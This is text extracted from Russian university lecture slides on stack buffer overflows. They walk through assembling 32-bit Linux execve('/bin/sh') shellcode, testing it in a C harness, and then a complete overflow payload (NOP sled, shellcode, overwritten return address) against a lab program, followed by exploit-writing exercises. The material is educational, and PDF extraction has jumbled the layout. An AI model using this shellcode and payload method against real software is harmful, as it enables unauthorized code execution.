Скачиваний:
14
Добавлен:
27.03.2022
Размер:
873.52 Кб
Скачать

Понятие эксплойта и уязвимости

Переполнение буфера

Подготовка шеллкода

 

 

 

Представление стека

Верхушка стека

Направление роста стека (направление уменьшения адресов)

Другие

Локальная

Указатель

Адрес

1-ый

2-ой

...

n-ый

локальные

переменная

кадра

переменные

buf

стека

возврата

параметр

параметр

 

параметр

 

 

 

 

 

 

 

 

 

 

 

 

 

Отсутствуют

Массив buf

Сохраненное

Адрес

Переменная v Отсутствует

 

Отсутствует

 

 

значение

инструкции,

 

 

 

 

 

 

регистра

следующей

 

 

 

 

 

 

ebp

за вызовом

 

 

 

 

 

 

 

функции foo

 

 

 

 

Дно стека

0x d5dc

0x d648

0x d64c

0x d650

108 байт

4 байта

4 байта

4 байта

Браницкий А.А., СПбГУТ

Лекция 2, Санкт-Петербург, 2021

33/40

Понятие эксплойта и уязвимости

Переполнение буфера

execve_sh.c (обертка на C)

1 # include < unistd .h >

2 int main ( int argc ,

char * argv [])

3 {

 

 

4

execve ("/ bin / sh " ,

0, 0);

5

return 0;

 

6}

gcc -m32 -g --static execve_sh.c -o execve_sh gdb ./execve_sh

(gdb) set disassembly-flavor intel (gdb) disassemble execve

Dump of assembler code for function execve: 0x0806bf70 <+0>: push ebx

0x0806bf71 <+1>: mov edx,DWORD PTR [esp+0x10] 0x0806bf75 <+5>: mov ecx,DWORD PTR [esp+0xc] 0x0806bf79 <+9>: mov ebx,DWORD PTR [esp+0x8] 0x0806bf7d <+13>: mov eax,0xb

...

0xb - код системной функции execve. Передача аргументов выполняется через регистры ebx, ecx, edx.

Подготовка шеллкода

./execve_sh $ ls -1 / bin

boot dev etc home

initrd.img

initrd.img.old lib

lib64

lost+found media

mnt opt proc root

...

$ exit

Браницкий А.А., СПбГУТ

Лекция 2, Санкт-Петербург, 2021

34/40

Понятие эксплойта и уязвимости

Переполнение буфера

Подготовка шеллкода

 

 

 

shellcode1.asm (версия 1)

python -c 'print(" ".join(["{:02x}".format(ord(c))

for c in "/bin/sh"])) '

2f 62 69 6e 2f 73 68

1 section . text

2global _start

3

 

 

 

 

objdump -M intel -d shellcode1

 

4

_start :

 

 

 

 

 

08048060 <_start>:

 

 

5

 

push

0 x0068732f

 

 

 

8048060: 68 2f 73 68 00

push 0x68732f

6

 

push

0 x6e69622f

 

8048065: 68 2f 62 69 6e

push 0x6e69622f

7

 

mov

ebx ,

esp

 

804806a: 89 e3

mov

ebx,esp

8

 

mov

ecx ,

0

 

804806c: b9 00 00 00 00

mov

ecx,0x0

9

 

mov

edx ,

0

 

8048071: ba 00 00 00 00

mov

edx,0x0

10

 

mov eax ,

0 xb

 

8048076: b8 0b 00 00 00

mov

eax,0xb

11

 

int

0 x80

 

 

 

804807b: cd 80

int

0x80

 

 

 

 

 

 

$

nasm -f elf \

 

 

 

 

 

 

shellcode1.asm

 

 

 

 

$

ld -m elf_i386 \

 

 

 

 

 

shellcode1.o \

 

 

 

 

 

-o shellcode1

 

 

 

Браницкий А.А., СПбГУТ

Лекция 2, Санкт-Петербург, 2021

35/40

Понятие эксплойта и уязвимости

Переполнение буфера

Подготовка шеллкода

 

 

 

shellcode2.asm (версия 2)

python -c 'print(" ".join(["{:02x}".format(ord(c))

for c in "//bin/sh"])) '

2f 2f 62 69 6e 2f 73 68

1 section . text

2global _start

3

 

 

 

 

objdump -M intel -d shellcode2

 

4

_start :

 

 

 

 

 

08048060 <_start>:

 

 

5

 

push

0

 

 

 

 

 

8048060: 6a 00

push 0x0

6

 

push

0 x68732f6e

 

8048062: 68 6e 2f 73 68

push 0x68732f6e

7

 

push

0 x69622f2f

 

8048067: 68 2f 2f 62 69

push 0x69622f2f

8

 

mov

ebx ,

esp

 

804806c: 89 e3

mov

ebx,esp

9

 

mov

ecx ,

0

 

804806e: b9 00 00 00 00

mov

ecx,0x0

10

 

mov

edx ,

0

 

8048073: ba 00 00 00 00

mov

edx,0x0

11

 

mov eax ,

0 xb

 

8048078: b8 0b 00 00 00

mov

eax,0xb

12

 

int

0 x80

 

 

 

804807d: cd 80

int

0x80

 

 

 

 

 

 

$

nasm -f elf \

 

 

 

 

 

 

shellcode2.asm

 

 

 

 

$

ld -m elf_i386 \

 

 

 

 

 

shellcode2.o \

 

 

 

 

 

-o shellcode2

 

 

 

Браницкий А.А., СПбГУТ

Лекция 2, Санкт-Петербург, 2021

36/40

Понятие эксплойта и уязвимости

Переполнение буфера

Подготовка шеллкода

 

 

 

shellcode3.asm (версия 3)

python -c 'print(" ".join(["{:02x}".format(ord(c))

for c in "//bin/sh"])) '

2f 2f 62 69 6e 2f 73 68

1 section . text

2global _start

3

 

 

 

 

objdump -M intel -d shellcode3

 

4

_start :

 

 

 

 

 

08048060 <_start>:

 

 

5

 

xor

eax ,

eax

 

 

 

8048060: 31 c0

xor

eax,eax

6

 

push

eax

 

 

 

8048062: 50

push eax

7

 

push

0 x68732f6e

 

8048063: 68 6e 2f 73 68

push 0x68732f6e

8

 

push

0 x69622f2f

 

8048068: 68 2f 2f 62 69

push 0x69622f2f

9

 

mov

ebx ,

esp

 

804806d: 89 e3

mov

ebx,esp

10

 

mov

ecx ,

eax

 

804806f: 89 c1

mov

ecx,eax

11

 

mov

edx ,

eax

 

8048071: 89 c2

mov

edx,eax

12

 

mov al , 0 xb

 

8048073: b0 0b

mov

al,0xb

13

 

int

0 x80

 

 

 

8048075: cd 80

int

0x80

 

 

 

 

 

 

$

nasm -f elf \

 

 

 

 

 

 

shellcode3.asm

 

 

 

 

$

ld -m elf_i386 \

 

 

 

 

 

shellcode3.o \

 

 

 

 

 

-o shellcode3

 

 

 

Браницкий А.А., СПбГУТ

Лекция 2, Санкт-Петербург, 2021

37/40

Понятие эксплойта и уязвимости

Переполнение буфера

Подготовка шеллкода

 

 

 

shellcode_c.c (тестирование шеллкода)

1 const char

shellcode []

=

2

"\ x31 \ xc0

\ x50

\ x68 \ x6e

\ x2f \ x73 \ x68 "

3

"\ x68 \ x2f

\ x2f

\ x62 \ x69

\ x89 \ xe3 \ x89 "

4

"\ xc1 \ x89

\ xc2 \ xb0 \ x0b \ xcd \ x80 ";

5 int main ()

 

 

 

6 {

 

 

 

 

7

(*( void (*)())

shellcode )();

8

return 0;

 

 

 

9}

gcc -m32 shellcode_c.c -o shellcode_c

./shellcode_c $ ls -1 / bin

boot dev etc home

initrd.img

initrd.img.old lib

lib64

lost+found media

mnt opt proc root

...

$ exit

Браницкий А.А., СПбГУТ

Лекция 2, Санкт-Петербург, 2021

38/40

Понятие эксплойта и уязвимости Переполнение буфера Подготовка шеллкода

Эксплойт переполнения буфера в стеке

 

116 байт

Массив buf

 

 

УКС

(108 байт)

 

 

(4 байта)

 

 

40 байт

 

23 байта

49 байт

4 байта

NOP

NOP

...

NOP

Шеллкод

Мусор

Адрес

возврата

0x d5dc

0x d650

 

 

 

 

 

Направление роста стека

 

 

 

(направление уменьшения адресов)

 

 

 

 

 

./vuln_stack \

 

 

$(python -c 'print "\x90"*40 + \

 

 

"\x31\xc0\x50\x68\x6e\x2f\x73\x68"\

 

 

"\x68\x2f\x2f\x62\x69\x89\xe3\x89"\

 

 

"\xc1\x89\xc2\xb0\x0b\xcd\x80" + \

 

 

"A"*49 + "\xf0\xd5\xff\xff" ')

 

 

 

 

 

 

Браницкий А.А., СПбГУТ

Лекция 2, Санкт-Петербург, 2021

39/40

Понятие эксплойта и уязвимости

Переполнение буфера

Подготовка шеллкода

 

 

 

Упражнения

1Реализовать эксплойт переполнения буфера, приводящий к вызову интерпретатора /usr/bin/python или /usr/bin/perl внутри уязвимой программы vuln_stack

2Реализовать эксплойт переполнения буфера, приводящий к зависанию уязвимой программы vuln_stack (бесконечный цикл при попытке возврата из функции foo)

3Реализовать эксплойт переполнения буфера, приводящий к досрочному выходу из уязвимой программы vuln_stack (вызов exit при попытке возврата из функции foo)

Браницкий А.А., СПбГУТ

Лекция 2, Санкт-Петербург, 2021

40/40

Соседние файлы в предмете Эксплуатация уязвимостей программного обеспечения